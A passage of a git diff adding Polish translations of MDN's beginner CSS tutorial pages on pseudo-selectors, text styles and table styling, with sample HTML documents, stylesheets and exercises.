orange;">C</strong>ascading <strong style="color: green;">S</strong>tyle <strong style="color: green;">S</strong>heets</td> + </tr> + <tr> + <td style="color: blue;"><strong style="color: red;">C</strong>ascading <strong style="color: red;">S</strong>tyle <strong style="color: red;">S</strong>heets</td> + </tr> + </tbody> + </table> + </td> + </tr> + </tbody> +</table> + +<h2 id="Zadanie_użycie_pseudo_selectorów">Zadanie: użycie pseudo selectorów</h2> + +<ol> + <li>Utwórz plik HTML z następują treścią: + <pre><code><!doctype html> +<html> + <head> + <meta charset="UTF-8"> + <title>Sample document</title> + <link rel="stylesheet" href="style1.css"> + </head> + <body> + <p>Go to our <a class="homepage" href="http://www.example.com/" title="Home page">Home page</a>.</p> + </body> +</html></code></pre> + </li> + <li>Edytuj plik CSS. Zamień jego treść na: + <pre><code>a.homepage:link, a.homepage:visited { + padding: 1px 10px 1px 10px; + color: #fff; + background: #555; + border-radius: 3px; + border: 1px outset rgba(50,50,50,.5); + font-family: georgia, serif; + font-size: 14px; + font-style: italic; + text-decoration: none; +} + +a.homepage:hover, a.homepage:focus, a.homepage:active { + background-color: #666; +}</code></pre> + </li> + <li>Zapisz pliki i odśwież przeglądarkę aby zobaczyć rezultat (przeciągnij muszkę nad przycisk, aby zobaczyć efekt): + <table> + <tbody> + <tr> + <td>Go to our <a href="https://developer.mozilla.org/pl/docs/Web/CSS/Na_pocz%C4%85tek/Selektory$edit#" title="Home page">Home page</a></td> + </tr> + </tbody> + </table> + </li> +</ol> + +<h4 id="Co_dalej.3F" name="Co_dalej.3F">Co dalej?</h4> + +<p>Jeżeli masz problemy ze zrozumieniem tej strony albo chcesz ją skomentować, pomóż nam, dopisując się na stronie <a href="/Talk:pl/CSS/Na_pocz%C4%85tek/Selektory" title="Talk:pl/CSS/Na_początek/Selektory">Dyskusji</a>.</p> + +<p>Twój przykładowy arkusz stylów zaczyna wyglądać na zbity i skomplikowany. W następnej części opiszemy jak sprawić, by CSS był łatwiejszy w czytaniu: <strong><a href="/pl/CSS/Na_pocz%C4%85tek/Czytelny_CSS" title="pl/CSS/Na_początek/Czytelny_CSS">Czytelny CSS</a></strong></p> + +<p>{{ languages( { "en": "en/CSS/Getting_Started/Selectors", "fr": "fr/CSS/Premiers_pas/Les_s\u00e9lecteurs", "it": "it/Conoscere_i_CSS/I_Selettori", "ja": "ja/CSS/Getting_Started/Selectors", "pt": "pt/CSS/Como_come\u00e7ar/Seletores" } ) }}</p> diff --git a/files/pl/web/css/na_początek/style_tekstowe/index.html b/files/pl/web/css/na_początek/style_tekstowe/index.html new file mode 100644 index 0000000000..170f28ef88 --- /dev/null +++ b/files/pl/web/css/na_początek/style_tekstowe/index.html @@ -0,0 +1,115 @@ +--- +title: Style tekstowe +slug: Web/CSS/Na_początek/Style_tekstowe +tags: + - 'CSS:Na_początek' +translation_of: Learn/CSS/Styling_text/Fundamentals +--- +<p> +</p><p>Na tej stronie znajdziesz więcej przykładów stylów tekstowych. +</p><p>Zmodyfikujesz przykładowy arkusz stylów, aby używał różnych krojów pisma. +</p> +<h3 id="Informacja:_Style_tekstowe" name="Informacja:_Style_tekstowe"> Informacja: Style tekstowe </h3> +<p>CSS posiada kilka własności do określania stylu tekstu. +</p><p>Istnieje wygodna, krótka własność <code>font</code>, której można użyć do określenia kilku cech na raz — na przykład: +</p> +<ul><li>pogrubienia, ustawienia kursywy oraz małych znaków, +</li><li>rozmiaru, +</li><li>wysokości linii, +</li><li>typu fontu. +</li></ul> +<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; margin-bottom: 1em;"> +<caption>Przykład +</caption><tbody><tr> +<td> <div style="width: 40em;"> +<p>p {font: italic 75%/125% "Comic Sans MS", cursive;} +</p> +</div> +<p>Ta reguła określa kilka własności fontu, sprawiając, że wszystkie akapity będą pisane kursywą. +</p><p>Rozmiar fontu jest określony jako trzy czwarte rozmiaru każdego nadrzędnego akapitu, a wysokość linii jest określona na 125% (co da trochę więcej przestrzeni). +</p><p>Typ fontu jest określony jako Comic Sans MS, lecz jeśli ten font nie jest dostępny, wówczas przeglądarka użyje domyślnego fontu kursywy (a'la ręczne pismo). +</p><p>Ta reguła dodatkowo wyłącza pogrubienie i małe litery (ustawiając je na <code>normal</code>): +</p> +</td></tr></tbody></table> +<h4 id="Typy_font.C3.B3w" name="Typy_font.C3.B3w"> Typy fontów </h4> +<p>Nie da się przewidzieć, jakie fonty będzie posiadał czytelnik dokumentu. +Zatem kiedy określasz typy fontów, dobrym pomysłem jest podanie listy alternatywnych. +</p><p>Listę należy zakończyć jednym z domyślnych, wbudowanych fontów: <code>serif</code>, <code>sans-serif</code>, <code>cursive</code>, <code>fantasy</code> lub <code>monospace</code>, (niektóre z nich pasują do ustawień w opcjach Twojej przeglądarki). +</p><p>Jeżeli dany typ fontu nie wspiera jakiejś funkcji w dokumencie, wówczas przeglądarka może zmienić go na inny. Na przykład, dokument może posiadać specjalne znaki, których font podstawowy nie obsługuje. Jeżeli przeglądarka znajdzie inny font, który obsługuje te znaki, wówczas zostanie on użyty. +</p><p>Aby określić wyłącznie typ fontu, użyj własności <code>font-family</code>. +</p> +<h4 id="Rozmiary_font.C3.B3w" name="Rozmiary_font.C3.B3w"> Rozmiary fontów </h4> +<p>Czytelnik używający przeglądarki Mozilla może w opcjach ustawić domyślne rozmiary fontów i zmienić rozmiar tekstu podczas czytania stron, zatem dobrym pomysłem jest używanie relatywnych rozmiarów tam, gdzie tylko się da. +</p><p>Możesz wykorzystać różne wbudowane wartości dla rozmiarów fontów, jak <code>small</code>, <code>medium</code> czy <code>large</code>. Możesz też użyć wartości relatywnych względem rozmiaru fontu nadrzędnego elementu, na przykład: <code>smaller</code>, <code>larger</code>, <code>150%</code> lub <code>1.5</code>. +</p><p>Jeżeli trzeba, możesz określić bezpośredni rozmiar: <code>12px</code> (12 pikseli) dla urządzenia wyświetlającego, lub 12pt (12 punktów) dla drukarki. Ten rozmiar jest nominalnie szerokością litery m, ale różne fonty mogą mieć różne rozmiary i możesz inaczej widzieć je względem rozmiaru, który określisz. +</p><p>Aby określić sam rozmiary fontu, użyj własności <code>font-size</code>. +</p> +<h4 id="Wysoko.C5.9B.C4.87_linii" name="Wysoko.C5.9B.C4.87_linii"> Wysokość linii </h4> +<p>Wysokość linii określa odstępy między liniami. +Jeżeli Twój dokument posiada długie akapity z wieloma liniami, większe niż normalnie odstępy sprawią, że będzie go łatwiej czytać, zwłaszcza, jeśli rozmiary fontu są małe. +</p><p>Aby określić samą wysokość linii, użyj własności <code>line-height</code>. +</p> +<h4 id="Ozdobniki" name="Ozdobniki"> Ozdobniki </h4> +<p>Odrębna własność <code>text-decoration</code> może określać inne style, jak <code>underline</code> (podkreślenie) lub <code>line-through</code> (przekreślenie). +Ustawiając tę własność na <code>normal</code>, usuniesz wszystkie ozdobniki. +</p> +<h4 id="Inne_w.C5.82asno.C5.9Bci" name="Inne_w.C5.82asno.C5.9Bci"> Inne własności </h4> +<p>Aby ustawić kursywę, użyj <code>font-style: italic;</code><br> +Aby ustawić pogrubienie, użyj <code>font-weight: bold;</code><br> +Aby określić, że wszystkie litery mają być małymi literami, użyj <code>font-variant: small-caps;</code> +</p><p>Aby ustawić dowolną z nich indywidualnie, możesz ustawić wartość na <code>normal</code> lub +<code>inherit</code> (dziedzicz). +</p> +<table style="border: 1px solid #36b; padding: 1em; background-color: #f4f4f4; margin-bottom: 1em;"> +<caption>Więcej szczegółów +</caption><tbody><tr> +<td> Możesz określić style tekstowe na kilka innych sposobów. +<p>Na przykład, niektóre własności wymienione w tym rozdziale mają inne wartości, których możesz użyć. +</p><p>W złożonym arkuszu stylów unikaj używania skrótowej własności <code>font</code>, ponieważ ma to efekty uboczne (resetuje inne własności danego fontu). +</p><p>Aby zapoznać się ze szczegółami własności fontów, zajrzyj do rozdziału <a class="external" href="http://www.w3.org/TR/CSS21/fonts.html">Fonty</a> w specyfikacji CSS. +Aby zapoznać się ze szczegółami odnośnie dekoracji tekstu, zajrzyj <a class="external" href="http://www.w3.org/TR/CSS21/text.html">Tutaj</a>. +</p> +</td></tr></tbody></table> +<h3 id="Zadanie:_Okre.C5.9Blanie_fontu" name="Zadanie:_Okre.C5.9Blanie_fontu"> Zadanie: Określanie fontu </h3> +<p>W prostych dokumentach możesz określić font elementu <small>BODY</small>, a reszta dokumentu będzie dziedziczyć jego ustawienia. +</p><p>Wyedytuj swój plik CSS. +Dodaj regułę, która zmieni font. +Logicznie byłoby umieścić tę regułę na górze pliku CSS, ale będzie ona miała taki sam efekt niezależnie od miejsca położenia: +</p> +<div style="width: 40em;"> +<p>body {font: 16px "Comic Sans MS", cursive;} +</p> +</div> +<p>Dodaj komentarz wyjaśniający regułę oraz dodaj białe znaki, aby całość pasowała do Twojego ulubionego schematu. +</p><p>Odśwież okno przeglądarki, aby zobaczyć efekt. +Jeżeli Twój system zawiera Comic Sans MS lub inny font kursywy, który nie obsługuje pochylenia, wtedy Twoja przeglądarka wybierze inny typ fontu dla pochylonego tekstu w pierwszej linii: +</p> +<table style="border: 2px outset #36b; padding: 1em;"> +<tbody><tr> +<td style="font: italic 16px 'Comic Sans MS', cursive; color: blue;"><strong style="color: red;">C</strong>ascading <strong style="color: green;">S</strong>tyle <strong style="color: green;">S</strong>heets +</td></tr> +<tr> +<td style="font: 16px 'Comic Sans MS', cursive; color: blue;"><strong style="color: red;">C</strong>ascading <strong style="color: red;">S</strong>tyle <strong style="color: red;">S</strong>heets +</td></tr></tbody></table> +<p>Z paska menu przeglądarki wybierz Widok – Rozmiar tekstu – Powiększ. Nawet jeśli określiłeś(aś) w stylu rozmiar 16 pikseli, użytkownik czytający dokument może zmienić jego rozmiar. +</p> +<table style="border: 1px solid #36b; padding: 1em; background-color: #ffe;"> +<caption>Wyzwanie +</caption><tbody><tr> +<td> Nie zmieniając nic innego, powiększ dwukrotnie wszystkie sześć pierwszych liter w domyślnym foncie szeryfowym przeglądarki: +<table> +<tbody><tr> +<td style="font: italic 16px 'Comic Sans MS', cursive; color: blue;"><strong style="color: red; font: 200% serif;">C</strong>ascading <strong style="color: green; font: 200% serif;">S</strong>tyle <strong style="color: green; font: 200% serif;">S</strong>heets +</td></tr> +<tr> +<td style="font: 16px 'Comic Sans MS', cursive; color: blue;"><strong style="color: red; font: 200% serif;">C</strong>ascading <strong style="color: red; font: 200% serif;">S</strong>tyle <strong style="color: red; font: 200% serif;">S</strong>heets +</td></tr></tbody></table> +</td></tr></tbody></table> +<h4 id="Co_dalej.3F" name="Co_dalej.3F"> Co dalej? </h4> +<p>Twój przykładowy dokument korzysta już z kilku nazwanych kolorów. +Na następnej stronie znajdziesz listę nazwanych, standardowych kolorów oraz opis, jak można określić inne: +<b><a href="pl/CSS/Na_pocz%c4%85tek/Kolor">Kolor</a></b> +</p> +<div class="noinclude"> +</div> +{{ languages( { "en": "en/CSS/Getting_Started/Text_styles", "fr": "fr/CSS/Premiers_pas/Styles_de_texte", "it": "it/Conoscere_i_CSS/Stili_del_testo", "ja": "ja/CSS/Getting_Started/Text_styles", "pt": "pt/CSS/Como_come\u00e7ar/Estilos_de_texto" } ) }} diff --git a/files/pl/web/css/na_początek/tables/index.html b/files/pl/web/css/na_początek/tables/index.html new file mode 100644 index 0000000000..78f9c67236 --- /dev/null +++ b/files/pl/web/css/na_początek/tables/index.html @@ -0,0 +1,596 @@ +--- +title: Tabele +slug: Web/CSS/Na_początek/Tables +tags: + - 'CSS:Na_początek' +translation_of: Learn/CSS/Building_blocks/Styling_tables +--- +<p> </p> +<p>Ta strona bardziej szczegółowo opisuje selektory oraz sposoby tworzenia stylów dla tabel.</p> +<p>Stworzysz nowy dokument zawierający tabelę oraz nadasz mu styl.</p> +<h3 id="Informacja:_Wi.C4.99cej_o_selektorach" name="Informacja:_Wi.C4.99cej_o_selektorach">Informacja: Więcej o selektorach</h3> +<p>CSS daje wiele sposobów na wybranie elementów, bazując na ich wzajemnych relacjach. Możesz ich użyć, aby stworzyć bardziej dokładne selektory.</p> +<p>Poniżej znajduje się podsumowanie selektorów bazujące na ich wzajemnych relacjach:</p> +<table style="margin-left: 2em;"> + <tbody> + <tr> + <td style="width: 10em;"><strong>Selektor</strong></td> + <td><strong>Wybiera</strong></td> + </tr> + <tr> + <td><code>A E</code></td> + <td>Dowolny element E, który jest <b>potomkiem</b> elementu A (to znaczy jest dzieckiem albo dzieckiem dziecka, <i>itp</i>.))</td> + </tr> + <tr> + <td><code>A > E</code></td> + <td>Dowolny element E, który jest dzieckiem elementu A</td> + </tr> + <tr> + <td><code>E:first-child</code></td> + <td>Dowolny element E, który jest pierwszym dzieckiem swojego rodzica</td> + </tr> + <tr> + <td><code>B + E</code></td> + <td>Dowolny element E, który jest następnym z <i>rodzeństwa</i> elementu B (to znaczy: następnym dzieckiem tego samego rodzica)</td> + </tr> + </tbody> +</table> +<p>Możesz łączyć te selektory w złożone relacje.</p> +<p>Możesz też użyć symbolu <code>*</code> (gwiazdka), który znaczy "dowolny element".</p> +<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; margin-bottom: 1em;"> + <caption> + Przykład</caption> + <tbody> + <tr> + <td>Tabela HTML posiada atrybut <code>id</code>, ale jej wiersze i komórki nie posiadają własnych identyfikatorów: + <div style="width: 30em;"> + <p><TABLE id="data-table-1"> ... <TR> <TD>Prefiks</TD> <TD>0001</TD> <TD>domyślnie</TD> </TR> ...</p> + </div> + <p>Poniższe reguły powodują, że pierwsza komórka w każdym wierszu jest pogrubiona, natomiast druga używa kroju monospace. Dotyczą one tylko jednej, określonej tabeli w dokumencie:</p> + <div style="width: 45em;"> + <ol> + <li>data-table-1 td:first-child {font-weight: bolder;}</li> + <li>data-table-1 td:first-child + td {font-family: monospace;}</li> + </ol> + </div> + <p>Wygląda to tak:</p> + <table style="border: 2px outset #36b; padding: 1em; background-color: white;"> + <tbody> + <tr> + <td> + <table style="width: 18em; margin-right: 2em;"> + <tbody> + <tr> + <td><strong>Prefiks</strong></td> + <td><tt>0001</tt></td> + <td>domyślnie</td> + </tr> + </tbody> + </table> + </td> + </tr> + </tbody> + </table> + </td> + </tr> + </tbody> +</table> +<table style="border: 1px solid #36b; padding: 1em; background-color: #f4f4f4; margin-bottom: 1em;"> + <caption> + Więcej szczegółów</caption> + <tbody> + <tr> + <td>Kiedy stworzysz bardziej szczegółowy selektor, zazwyczaj wzrośnie jego priorytet. + <p>Jeżeli korzystasz z opisanych tu technik, unikasz potrzeby określania atrybutu <code>class</code> lub <code>id</code> w wielu znacznikach dokumentu. Zamiast tego logika zostaje przeniesiona na CSS.</p> + <p>W dużych projektach, gdzie prędkość ma duże znaczenie, możesz sprawić, że twój arkusz stylów będzie działał szybciej, poprzez unikanie złożonych reguł, które zależą od relacji między elementami.</p> + <p>Aby dowiedzieć się więcej o selektorach, zajrzyj do specyfikacji CSS na stronę <a class="external" href="http://www.w3.org/TR/CSS21/selector.html">Selektory</a>.</p> + </td> + </tr> + </tbody> +</table> +<h3 id="Informacja:_Tabele" name="Informacja:_Tabele">Informacja: Tabele</h3> +<p>Tabela układa informacje w prostokątną siatkę. Niektóre tabele mogą być skomplikowane, a różne przeglądarki mogą pokazywać różne wyniki.</p> +<p>Kiedy tworzysz swój dokument, użyj tabel do wyrażenia relacji między elementami informacji. Wówczas nie ma znaczenia, jeśli różne przeglądarki wyświetlą je w trochę inny sposób, ponieważ przekaz pozostanie jasny.</p> +<p>Nie używaj tabel w sposób, do którego nie zostały przeznaczone, na przykład aby tworzyć przy ich pomocy układ wizualny. Techniki opisane na poprzedniej stronie tego kursu (<a href="pl/CSS/Na_pocz%c4%85tek/Uk%c5%82ad">Układ</a>) nadają się do tego znacznie lepiej.</p> +<h4 id="Struktura_tabeli" name="Struktura_tabeli">Struktura tabeli</h4> +<p>W tabeli każdy kawałek informacji jest wyświetlany w <i>komórce</i>.</p> +<p>Komórki wyświetlane w jednej linii tworzą <i>wiersz</i>.</p> +<p>W niektórych tabelach wiersze mogą być grupowane. Specjalna grupa wierszy, która znajduje się na górze tabeli, nazywa się <i>nagłówkiem</i>. Specjalna grupa wierszy znajdująca się na dole tabeli nazywa się <i>stopką</i>. Główne wiersze w tabeli tworzą jej <i>ciało</i> i one również mogą być łączone w grupy.</p> +<p>Komórki ułożone w pionowej linii tworzą <i>kolumnę</i>, ale użyteczność kolumn w tabelach CSS jest ograniczona.</p> +<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; width: 100%;"> + <caption> + Przykład</caption> + <tbody> + <tr> + <td>Tabela selektorów znajdująca się na górze tej strony posiada dziesięć komórek i pięć wierszy. + <p>Pierwszy wiersz jest nagłówkiem. Kolejne cztery są ciałem tabeli. Nie posiada ona stopki.</p> + <p>Ma natomiast dwie kolumny.</p> + </td> + </tr> + </tbody> +</table> +<p><br> + Ten kurs omawia tylko proste tabele, dla których wynik jest przewidywalny. W prostej tabeli każda komórka zajmuje miejsce w jednym wierszu i jednej kolumnie. Możesz skorzystać z CSS-u do złożonych tabel, gdzie komórki rozciągają się na więcej niż jeden wiersz lub kolumnę, ale tego typu tabele wykraczają poza zakres tego kursu.</p> +<h4 id="Ramki" name="Ramki">Ramki</h4> +<p>Komórki nie posiadają marginesów zewnętrznych.</p> +<p>Komórki posiadają ramki oraz marginesy wewnętrzne. Domyślnie ramki są oddzielone o wartość własności <code>border-spacing</code> tabeli. Możesz usunąć całkowicie odstępy przez ustawienie własności <code>border-collapse</code> tabeli na wartość <code>collapse</code>.</p> +<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; width: 100%;"> + <caption> + Przykład</caption> + <tbody> + <tr> + <td>Poniżej widać trzy tabele. + <p>Tabela po lewej ma ustawione odstępy ramek na 0.5 em. Tabela w środku ma ustawione odstępy ramek na zero. Tabela po prawej ma zwinięte ramki:</p> + <table style="border: 2px outset #36b; padding: 1em; background-color: white;"> + <tbody> + <tr> + <td style="padding-right: 2em;"> + <table style=""> + <tbody> + <tr> + <td style="border: 1px solid #c00; text-align: center;">Clubs</td> + <td style="border: 1px solid #c00; text-align: center;">Hearts</td> + </tr> + <tr> + <td style="border: 1px solid #c00; text-align: center;">Diamonds</td> + <td style="border: 1px solid #c00; text-align: center;">Spades</td> + </tr> + </tbody> + </table> + </td> + <td style="padding-right: 2em;"> + <table style=""> + <tbody> + <tr> + <td style="border: 1px solid #c00; text-align: center;">Clubs</td> + <td style="border: 1px solid #c00; text-align: center;">Hearts</td> + </tr> + <tr> + <td style="border: 1px solid #c00; text-align: center;">Diamonds</td> + <td style="border: 1px solid #c00; text-align: center;">Spades</td> + </tr> + </tbody> + </table> + </td> + <td style="padding-right: 6em;"> + <table style="border-collapse: collapse;"> + <tbody> + <tr> + <td style="border: 1px solid #c00; text-align: center;">Clubs</td> + <td style="border: 1px solid #c00; text-align: center;">Hearts</td> + </tr> + <tr> + <td style="border: 1px solid #c00; text-align: center;">Diamonds</td> + <td style="border: 1px solid #c00; text-align: center;">Spades</td> + </tr> + </tbody> + </table> + </td> + </tr> + </tbody> + </table> + </td> + </tr> + </tbody> +</table> +<h4 id="Opis" name="Opis">Opis</h4> +<p><i>Opis</i> jest etykietą opisującą całą tabelę. Domyślnie jest wyświetlana nad tabelą.</p> +<p>Aby przesunąć opis na dół, ustaw jego własność <code>caption-side</code> na <code>bottom</code>. Ta własność jest dziedziczona, więc możesz ją ustawić dla całej tabeli lub innego rodzica.</p> +<p>Aby ustawić styl tekstu opisu, użyj normalnych własności tekstowych.</p> +<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; width: 100%;"> + <caption> + Przykład</caption> + <tbody> + <tr> + <td>Ta tabela posiada opis na dole: + <div style="width: 30em;"> + <ol> + <li>demo-table > caption {</li> + </ol> + <pre class="eval"> + caption-side: bottom; + font-style: italic; + text-align: right; + } +</pre> + </div> + <table style="border: 2px outset #36b; padding: 1em 6em 1em 1em; background-color: white;"> + <tbody> + <tr> + <td> + <table> + <caption> + Suits</caption> + <tbody> + <tr> + <td> + <table style="border-collapse: collapse;"> + <tbody> + <tr> + <td style="border: 1px solid gray; text-align: center;">Clubs</td> + <td style="border: 1px solid gray; text-align: center;">Hearts</td> + </tr> + <tr> + <td style="border: 1px solid gray; text-align: center;">Diamonds</td> + <td style="border: 1px solid gray; text-align: center;">Spades</td> + </tr> + </tbody> + </table> + </td> + </tr> + </tbody> + </table> + </td> + </tr> + </tbody> + </table> + </td> + </tr> + </tbody> +</table> +<h4 id="Puste_kom.C3.B3rki" name="Puste_kom.C3.B3rki">Puste komórki</h4> +<p>Możesz wyświetlić puste komórki (czyli ich ramki oraz tło) przez określenie <code>empty-cells: show;</code> dla elementu tabeli.</p> +<p>Możesz je ukryć, określając <code>empty-cells: hide;</code>. Wtedy jeżeli element rodzic komórki posiada tło, zostanie ono pokazane w miejscu pustej komórki.</p> +<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; width: 100%;"> + <caption> + Przykład</caption> + <tbody> + <tr> + <td>Poniższe tabele mają jasnozielone tło. Ich komórki mają tło jasnoszare i ciemnoszare ramki. + <p>W lewej tabeli puste komórki są wyświetlane, w prawej ukrywane:</p> + <table style="border: 2px outset #36b; padding: 1em; background-color: white;"> + <tbody> + <tr> + <td style="padding-right: 2em;"> + <table style="background-color: #dfd;"> + <tbody> + <tr> + <td style="border: 1px solid #555; background-color: #eee;"> </td> + <td style="border: 1px solid #555; background-color: #eee; text-align: center;">Hearts</td> + </tr> + <tr> + <td style="border: 1px solid #555; background-color: #eee; text-align: center;">Diamonds</td> + <td style="border: 1px solid #555; background-color: #eee; text-align: center;">Spades</td> + </tr> + </tbody> + </table> + </td> + <td style="padding-right: 6em;"> + <table style="background-color: #dfd;"> + <tbody> + <tr> + <td> </td> + <td style="border: 1px solid #555; background-color: #eee; text-align: center;">Hearts</td> + </tr> + <tr> + <td style="border: 1px solid #555; background-color: #eee; text-align: center;">Diamonds</td> + <td style="border: 1px solid #555; background-color: #eee; text-align: center;">Spades</td> + </tr> + </tbody> + </table> + </td> + </tr> + </tbody> + </table> + </td> + </tr> + </tbody> +</table> +<p> </p> +<table style="border: 1px solid #36b; padding: 1em; background-color: #f4f4f4; margin-bottom: 1em;"> + <caption> + Więcej szczegółów</caption> + <tbody> + <tr> + <td>Aby dowiedzieć się więcej o tabelach, zajrzyj do rozdziału <a class="external" href="http://www.w3.org/TR/CSS21/tables.html">Tabele</a> w specyfikacji CSS. + <p>Informacje tam zawarte wykraczają poza ten kurs, ale nie opisują różnic miedzy przeglądarkami, które mogą wpływać na wyświetlanie złożonych tabel.</p> + </td> + </tr> + </tbody> +</table> +<h3 id="Zadanie:_Ustawianie_styl.C3.B3w_dla_tabeli" name="Zadanie:_Ustawianie_styl.C3.B3w_dla_tabeli">Zadanie: Ustawianie stylów dla tabeli</h3> +<p>Stwórz nowy dokument HTML, <code>doc3.html</code>. Skopiuj i wklej poniższy kod, upewniając się, że zaznaczasz całą zawartość:</p> +<div style="width: 48em; height: 12em; overflow: auto;"> + <pre><DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN"> +<HTML> +<HEAD> +<TITLE>Przykładowy dokument 3</TITLE> +<LINK rel="stylesheet" type="text/css" href="style3.css"> +</HEAD> +<BODY> + +<TABLE id="demo-table"> +<CAPTION>Oceans</CAPTION> + +<THEAD> +<TR> +<TH></TH> +<TH>Area</TH> +<TH>Mean depth</TH> +</TR> +<TR> +<TH></TH> +<TH>million km<SUP>2</SUP></TH> +<TH>m</TH> +</TR> +</THEAD> + +<TBODY> +<TR> +<TH>Arctic</TH> +<TD>13,000</TD> +<TD>1,200</TD> +</TR> +<TR> +<TH>Atlantic</TH> +<TD>87,000</TD> +<TD>3,900</TD> +</TR> +<TR> +<TH>Pacific</TH> +<TD>180,000</TD> +<TD>4,000</TD> +</TR> +<TR> +<TH>Indian</TH> +<TD>75,000</TD> +<TD>3,900</TD> +</TR> +<TR> +<TH>Southern</TH> +<TD>20,000</TD> +<TD>4,500</TD> +</TR> +</TBODY> + +<TFOOT> +<TR> +<TH>Total</TH> +<TD>361,000</TD> +<TD></TD> +</TR> +<TR> +<TH>Mean</TH> +<TD>72,000</TD> +<TD>3,800</TD> +</TR> +</TFOOT> + +</TABLE> + +</BODY> +</HTML> +</pre> +</div> +<p>Stwórz nowy arkusz stylów, <code>style3.css</code>. Skopiuj i wklej poniższy kod, upewniając się, że zaznaczasz cały:</p> +<div style="width: 48em; height: 12em; overflow: auto;"> + <pre>/*** Styl dla doc3.html (Tabele) ***/ + +#demo-table { + font: 100% sans-serif; + background-color: #efe; + border-collapse: collapse; + empty-cells: show; + border: 1px solid #7a7; + } + +#demo-table > caption { + text-align: left; + font-weight: bold; + font-size: 200%; + border-bottom: .2em solid #4ca; + margin-bottom: .5em; + } + + +/* basic shared rules */ +#demo-table th, +#demo-table td { + text-align: right; + padding-right: .5em; + } + +#demo-table th { + font-weight: bold; + padding-left: .5em; + } + + +/* header */ +#demo-table > thead > tr:first-child > th { + text-align: center; + color: blue; + } + +#demo-table > thead > tr + tr > th { + font-style: italic; + color: gray; + } + +/* fix size of superscript */ +#demo-table sup { + font-size: 75%; + } + +/* body */ +#demo-table td { + background-color: #cef; + padding:.5em .5em .5em 3em; + } + +#demo-table tbody th:after { + content: ":"; + } + + +/* footer */ +#demo-table tfoot { + font-weight: bold; + } + +#demo-table tfoot th { + color: blue; + } + +#demo-table tfoot th:after { + content: ":"; + } + +#demo-table > tfoot td { + background-color: #cee; + } + +#demo-table > tfoot > tr:first-child td { + border-top: .2em solid #7a7; + } +</pre> +</div> +<p>Otwórz dokument w swojej przeglądarce. Powinien wyglądać mniej więcej tak:</p> +<table style="border: 2px outset #36b; padding: 1em 6em 1em 1em; background-color: white;"> + <tbody> + <tr> + <td> + <div> + <p style="font: bold 200% sans-serif; text-align: left; border-bottom: .2em solid #4ca; margin: 0px 0px .5em 0px;">Oceans</p> + <div style="border: 1px solid #7a7; background-color: #efe;"> + <table style="font: 100% sens-serif; background-color: #efe; border-collapse: collapse; text-align: right; padding-right: .5em;"> + <tbody> + <tr style="text-align: center; color: blue;"> + <th> </th> + <th>Area</th> + <th style="padding-left: .5em; padding-right: .5em;">Mean depth</th> + </tr> + <tr style="font-style: italic; color: gray;"> + <th> </th> + <th style="padding-left: .5em; padding-right: .5em;">million km<sup>2</sup></th> + <th style="padding-left: .5em; padding-right: .5em;">m</th> + </tr> + <tr> + <th style="padding-right: .5em;">Arctic:</th> + <td style="background-color: #cef; padding: .5em .5em .5em 3em;">13,000</td> + <td style="background-color: #cef; padding: .5em .5em .5em 3em;">1,200</td> + </tr> + <tr> + <th style="padding-right: .5em;">Atlantic:</th> + <td style="background-color: #cef; padding: .5em .5em .5em 3em;">87,000</td> + <td style="background-color: #cef; padding: .5em .5em .5em 3em;">3,900</td> + </tr> + <tr> + <th style="padding-right: .5em;">Pacific:</th> + <td style="background-color: #cef; padding: .5em .5em .5em 3em;">180,000</td> + <td style="background-color: #cef; padding: .5em .5em .5em 3em;">4,000</td> + </tr> + <tr> + <th style="padding-right: .5em;">Indian:</th> + <td style="background-color: #cef; padding: .5em .5em .5em 3em;">75,000</td> + <td style="background-color: #cef; padding: .5em .5em .5em 3em;">3,900</td> + </tr> + <tr> + <th style="padding-left: .5em; padding-right: .5em;">Southern:</th> + <td style="background-color: #cef; padding: .5em .5em .5em 3em;">20,000</td> + <td style="background-color: #cef; padding: .5em .5em .5em 3em;">4,500</td> + </tr> + <tr> + <th style="padding-right: .5em; color: blue;">Total:</th> + <td style="background-color: #cee; padding: .5em .5em .5em 3em; border-top: .2em solid #7a7;">361,000</td> + <td style="background-color: #cee; padding: .5em .5em .5em 3em; border-top: .2em solid #7a7;"> </td> + </tr> + <tr> + <th style="padding-right: .5em; color: blue;">Mean:</th> + <td style="background-color: #cee; padding: .5em .5em .5em 3em;">72,000</td> + <td style="background-color: #cee; padding: .5em .5em .5em 3em;">3,800</td> + </tr> + </tbody> + </table> + </div> + </div> + </td> + </tr> + </tbody> +</table> +<p>Porównaj reguły ze swojego arkusza stylów z wyświetloną tabelą, aby upewnić się, że rozumiesz działanie każdej reguły. Jeżeli napotkasz regułę, której nie rozumiesz, wykomentuj ją i odśwież okno przeglądarki, aby zobaczyć, co się stanie.</p> +<p>Poniżej znajduje się kilka uwag dotyczących tej tabeli:</p> +<ul> + <li>Opis znajduje się poza ramką tabeli.</li> + <li>Jeżeli masz określoną minimalną wielkość punktu, może to wpłynąć na indeks górny w km<sup>2</sup>.</li> + <li>Istnieją trzy puste komórki. Dwie z nich pozwalają na pokazanie tła tabeli. Trzecia posiada własne tło i górną ramkę.</li> + <li>Dwukropki zostały dodane przez arkusz stylów.</li> +</ul> +<p> </p> +<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; width: 100%;"> + <caption> + Wyzwania</caption> + <tbody> + <tr> + <td>Zmień arkusz stylów tak, aby tabela wyglądała jak poniżej: + <table style="border: 2px outset #36b; padding: 1em 6em 1em 1em; background-color: white;"> + <tbody> + <tr> + <td> + <div> + <div style="border: 1px solid #7a7; background-color: #efe;"> + <table style="font: 100% sens-serif; background-color: #efe; border-collapse: collapse; text-align: right; padding-right: .5em;"> + <tbody> + <tr style="text-align: center; color: blue;"> + <th> </th> + <th>Area</th> + <th style="padding-left: .5em; padding-right: .5em;">Mean depth</th> + </tr> + <tr style="font-style: italic; color: gray;"> + <th> </th> + <th style="padding-left: .5em; padding-right: .5em;">million km<sup>2</sup></th> + <th style="padding-left: .5em; padding-right: .5em;">m</th> + </tr> + <tr> + <th style="padding-right: .5em;">Arctic:</th> + <td style="background-color: #cef; padding: .5em .5em .5em 3em; border: 1px solid #7a7;">13,000</td> + <td style="background-color: #cef; padding: .5em .5em .5em 3em; border: 1px solid 